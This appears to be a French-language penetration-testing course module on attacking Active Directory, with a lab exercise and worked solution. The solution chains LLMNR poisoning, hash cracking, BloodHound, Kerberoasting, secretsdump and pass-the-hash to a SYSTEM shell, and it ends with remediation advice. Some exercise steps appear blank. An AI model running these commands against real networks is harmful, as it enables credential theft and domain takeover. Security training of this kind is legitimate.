Module 4 : Active Directory Hacking
90% des entreprises du Fortune 500 utilisent Active Directory. Si vous tombez l'AD, vous possédez l'entreprise.
Durée estimée : 45 minutes
1. Concepts Clés
- Domain Controller (DC) : Le serveur maître (contient la base
NTDS.ditavec tous les mots de passe). - Kerberos : Le protocole d'authentification (Tickets TGT / TGS).
- NTLM : Ancien protocole (vulnérable au Relay).
2. LLMNR / NBT-NS Poisoning
Quand Windows ne trouve pas un nom DNS, il crie sur le réseau local : "Qui est 'SRV-IMPRIMANTE' ?". L'attaquant répond : "C'est moi ! Envoie-moi ton hash de mot de passe."
Outil : Responder
Dès qu'un utilisateur se trompe en tapant un chemin réseau, vous capturez son hash NTLMv2.3. Kerberoasting
Cible : Les comptes de service (Service Accounts) qui ont un SPN (Service Principal Name). Tout utilisateur authentifié peut demander un ticket TGS pour ces services. Ce ticket est chiffré avec le mot de passe du service. On peut donc le "cracker" hors ligne.
Outil : Impacket
4. BloodHound : La Carte au Trésor
BloodHound utilise la théorie des graphes pour trouver le chemin le plus court vers "Domain Admin".
- Collecte : Un "Ingestor" (SharpHound) récupère toutes les infos (qui est admin de quoi, qui est connecté où).
- Analyse : BloodHound affiche le graphe.
- Exemple : User A -> Admin local sur PC B -> PC B a une session de User C -> User C est Domain Admin.
5. Pass-the-Hash (PtH)
Si vous avez un hash NTLM (mais pas le mot de passe clair), vous pouvez quand même vous authentifier !
# Authentification sans connaître le mot de passe
crackmapexec smb 192.168.1.20 -u Administrator -H <HASH_NTLM>
Exercice Pratique
Exercice : Attaque d'un Domaine Active Directory
Objectif : Compromettre un environnement Active Directory en utilisant plusieurs techniques.
Prérequis :
- Environnement de lab AD (VulnLab, HackTheBox Pro Labs, ou votre propre lab)
- Kali Linux avec Impacket, Responder, BloodHound installés
- Accès réseau au domaine cible (ex: corp.local)
Scénario : Vous avez un accès réseau au domaine mais aucune credential initiale.
Phase 1 : Obtention de Credentials Initiales
-
LLMNR/NBT-NS Poisoning :
Attendez qu'un utilisateur effectue une erreur de frappe réseau. -
Cracking du hash :
Phase 2 : Énumération du Domaine
-
Collecte BloodHound :
-
Analyse : Importez les données dans BloodHound et cherchez :
- Chemin vers Domain Admins
- Comptes avec SPN (pour Kerberoasting)
- Machines où les DA sont connectés
Phase 3 : Kerberoasting
-
Extraction des tickets :
-
Cracking :
Phase 4 : Mouvement Latéral
-
Énumération des accès :
-
Pass-the-Hash vers machine critique :
Questions : - Quel utilisateur avez-vous compromis en premier ? - Combien de sauts (hops) dans BloodHound pour atteindre Domain Admin ? - Quel compte de service était Kerberoastable ?
Solution
Phase 1 : Obtention de Credentials
# Lancement de Responder
sudo responder -I eth0 -dwv
# Un utilisateur tape \\SRV-IMPRIMENTE (faute de frappe)
# Responder capture le hash NTLMv2
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 192.168.1.50
[SMB] NTLMv2-SSP Username : CORP\jdoe
[SMB] NTLMv2-SSP Hash : jdoe::CORP:1122334455667788:A1B2C3...
Cracking avec Hashcat :
echo "jdoe::CORP:1122334455667788:A1B2C3..." > hash.txt
hashcat -m 5600 hash.txt rockyou.txt
# Résultat après 2 minutes :
# jdoe::CORP:...:Summer2023!
Credentials obtenues : jdoe:Summer2023!
Phase 2 : Énumération BloodHound
bloodhound-python -u jdoe -p 'Summer2023!' -d corp.local -ns 192.168.1.10 -c All
# Fichiers générés :
# computers.json, users.json, groups.json, domains.json
Dans BloodHound UI :
- Requête : "Shortest Paths to Domain Admins from Owned Principals"
- Marquez JDOE@CORP.LOCAL comme "Owned"
- Résultat : JDOE → Membre de "IT-SUPPORT" → AdminLocal sur "SRV-SQL" → "SVC-SQL" connecté sur "SRV-SQL" → "SVC-SQL" membre de "Domain Admins"
Phase 3 : Kerberoasting
GetUserSPNs.py corp.local/jdoe:'Summer2023!' -request
# Output :
ServicePrincipalName Name MemberOf PasswordLastSet
-------------------------- ------- --------------------------- -------------------
MSSQLSvc/SRV-SQL.corp.local svc-sql CN=Domain Admins,CN=Users... 2022-03-15 10:30:00
$krb5tgs$23$*svc-sql$CORP.LOCAL$...[HASH]...
Cracking du ticket :
Phase 4 : Pass-the-Hash et Compromission
# Test du compte compromis
crackmapexec smb 192.168.1.20 -u svc-sql -p 'MSSQLService123' -d corp.local
# SMB 192.168.1.20 445 SRV-SQL [+] corp.local\svc-sql:MSSQLService123 (Pwn3d!)
# Extraction du hash NTLM via secretsdump
secretsdump.py corp.local/svc-sql:'MSSQLService123'@192.168.1.20
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Pass-the-Hash pour devenir Domain Admin
psexec.py Administrator@192.168.1.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Requesting shares on 192.168.1.10.....
[*] Found writable share ADMIN$
[*] Uploading file...
[*] Opening SVCManager on 192.168.1.10.....
[*] Starting service...
[!] Launching semi-interactive shell - CTRL+C to exit
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> whoami /groups
# BUILTIN\Administrators
# NT AUTHORITY\SYSTEM
Récapitulatif de la Chaîne d'Attaque :
- LLMNR Poisoning → Hash NTLMv2 de
jdoe - Hashcat → Mot de passe clair
Summer2023! - BloodHound → Identification du chemin d'attaque
- Kerberoasting → Ticket TGS de
svc-sql(Domain Admin) - Hashcat → Mot de passe
MSSQLService123 - Pass-the-Hash → Accès Domain Controller en tant que SYSTEM
Réponses aux Questions :
- Premier utilisateur compromis : jdoe (via Responder)
- Nombre de sauts vers DA : 3 sauts (jdoe → IT-SUPPORT → SRV-SQL → svc-sql)
- Compte Kerberoastable : svc-sql avec SPN MSSQLSvc/SRV-SQL.corp.local
Recommandations de Remédiation :
- LLMNR/NBT-NS :
- Désactiver LLMNR et NBT-NS via GPO
-
Déployer SMB Signing obligatoire
-
Kerberoasting :
- Utiliser des mots de passe longs (>25 caractères) pour les comptes de service
- Migrer vers des Group Managed Service Accounts (gMSA)
-
Monitorer les demandes de tickets TGS anormales
-
Pass-the-Hash :
- Implémenter LAPS (Local Administrator Password Solution)
- Activer Credential Guard sur Windows 10/11
-
Segmenter les comptes : pas de DA sur des workstations
-
Architecture :
- Modèle de tiering (Tier 0 = DC, Tier 1 = Serveurs, Tier 2 = Workstations)
- Principe du moindre privilège strictement appliqué
- Rotation régulière des mots de passe des comptes privilégiés
Navigation
| ← Module 3 : Web Hacking | Module 5 : Post-Exploitation & PrivEsc → |